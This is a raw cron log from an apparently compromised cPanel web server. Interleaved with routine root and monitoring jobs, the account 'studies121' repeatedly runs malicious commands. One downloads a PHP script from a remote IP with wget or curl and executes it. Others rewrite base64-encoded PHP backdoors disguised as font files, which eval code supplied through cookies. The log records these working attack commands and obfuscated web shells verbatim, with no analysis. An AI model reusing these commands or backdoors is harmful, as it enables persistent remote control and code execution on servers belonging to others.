Sep 21 14:08:01 ip-184-168-122-23 CROND[19002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:08:01 ip-184-168-122-23 CROND[19003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:09:01 ip-184-168-122-23 CROND[19118]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 14:09:01 ip-184-168-122-23 CROND[19117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:09:01 ip-184-168-122-23 CROND[19121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:09:01 ip-184-168-122-23 CROND[19124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:09:01 ip-184-168-122-23 CROND[19127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:10:01 ip-184-168-122-23 CROND[19625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:10:01 ip-184-168-122-23 CROND[19627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:10:01 ip-184-168-122-23 CROND[19631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:11:01 ip-184-168-122-23 CROND[19779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:11:01 ip-184-168-122-23 CROND[19781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:11:01 ip-184-168-122-23 CROND[19780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:11:01 ip-184-168-122-23 CROND[19783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:12:01 ip-184-168-122-23 CROND[19884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:12:01 ip-184-168-122-23 CROND[19887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:12:01 ip-184-168-122-23 CROND[19886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:12:01 ip-184-168-122-23 CROND[19888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:12:01 ip-184-168-122-23 CROND[19889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:13:01 ip-184-168-122-23 CROND[20132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:13:01 ip-184-168-122-23 CROND[20134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:13:01 ip-184-168-122-23 CROND[20135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:13:01 ip-184-168-122-23 CROND[20137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:14:01 ip-184-168-122-23 CROND[20308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:14:01 ip-184-168-122-23 CROND[20309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:14:01 ip-184-168-122-23 CROND[20316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:14:01 ip-184-168-122-23 CROND[20317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:14:01 ip-184-168-122-23 CROND[20319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:15:01 ip-184-168-122-23 CROND[20531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:15:01 ip-184-168-122-23 CROND[20532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:15:01 ip-184-168-122-23 CROND[20534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:15:01 ip-184-168-122-23 CROND[20536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:15:01 ip-184-168-122-23 CROND[20540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:15:01 ip-184-168-122-23 CROND[20541]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 14:15:01 ip-184-168-122-23 CROND[20538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:16:01 ip-184-168-122-23 CROND[20697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:16:01 ip-184-168-122-23 CROND[20698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 14:16:01 ip-184-168-122-23 CROND[20701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:16:01 ip-184-168-122-23 CROND[20702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:16:01 ip-184-168-122-23 CROND[20704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:16:01 ip-184-168-122-23 CROND[20705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:17:01 ip-184-168-122-23 CROND[21176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:17:01 ip-184-168-122-23 CROND[21174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:17:01 ip-184-168-122-23 CROND[21175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:17:02 ip-184-168-122-23 CROND[21179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:18:01 ip-184-168-122-23 CROND[21381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:18:01 ip-184-168-122-23 CROND[21383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:18:01 ip-184-168-122-23 CROND[21382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:18:01 ip-184-168-122-23 CROND[21386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:18:01 ip-184-168-122-23 CROND[21388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:19:01 ip-184-168-122-23 CROND[21544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:19:01 ip-184-168-122-23 CROND[21546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:19:01 ip-184-168-122-23 CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:19:01 ip-184-168-122-23 CROND[21545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:20:01 ip-184-168-122-23 CROND[21683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:20:01 ip-184-168-122-23 CROND[21684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
